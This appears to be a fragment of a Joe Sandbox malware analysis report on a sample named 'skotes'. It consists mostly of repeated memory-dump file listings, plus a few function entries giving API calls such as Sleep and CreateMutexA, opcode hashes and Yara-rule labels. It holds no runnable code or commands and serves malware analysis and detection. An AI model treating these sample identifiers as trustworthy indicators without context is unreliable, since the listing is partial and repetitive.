Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 03db06fd5d1b33867c069a7e35572000252dbaad57d769cf85d341f7cb227f4a
Instruction ID: ec38c9e594787b3382a4b725cf9e9d769d062b0e5cd482b45e0896ba9a812a45
Opcode Fuzzy Hash: 03db06fd5d1b33867c069a7e35572000252dbaad57d769cf85d341f7cb227f4a
Instruction Fuzzy Hash: 93213A312743029AFF28AB689C9AB3DB252FF81314F340816E548D62D1CF7659B185E3

Function 0029A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: b926a1020fa51800d8c08e928e86112859145ab389d3635ebf07306bcd10e5e6
Instruction ID: 6be7179ab85a169b8c1872a9c11d1304d8d24fb379e9d324259b3d018babd4e8
Opcode Fuzzy Hash: b926a1020fa51800d8c08e928e86112859145ab389d3635ebf07306bcd10e5e6
Instruction Fuzzy Hash: F0214C326643019BFF18DF68EC89B6CB765EBC1324F244219E405D77E0CF7659A08692

Non-executed Functions

Function 002CCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002CCC66

Strings

v,, xrefs: 002CCBE1

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v,
API String ID: 3213747228-2945197583
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 67d2b959389d07adfdcd2242f6fe871bf73efed8f4977e69a27f22111189a165
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 3EB138329246869FDB15CF28C841FAEBBE5EF46340F3442AEE859DB341D6348E11CB60

Function 00292EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00292F5F
__Mtx_unlock.LIBCPMT ref: 00292FCC
__Cnd_broadcast.LIBCPMT ref: 00292FE3
__Mtx_unlock.LIBCPMT ref: 002930F5
__Mtx_unlock.LIBCPMT ref: 0029319B

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c4f7d3415eac69b11c637d5e566ef9405cc418645069b5ff6057ba667c5c31a2
Instruction ID: 8645076084753c4c0418b5cd1a9919bd7b4dd2c0e56c0e2f5d3bcc3d289b8bb0
Opcode Fuzzy Hash: c4f7d3415eac69b11c637d5e566ef9405cc418645069b5ff6057ba667c5c31a2
Instruction Fuzzy Hash: 19A1D170A21606EFDF21DF64C9447AAB7F8FF16310F148129E819D7651EB31EA24CB91

Function 002ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 002ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 002ABBE4
_xtime_get.LIBCPMT ref: 002ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 002ABC13

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
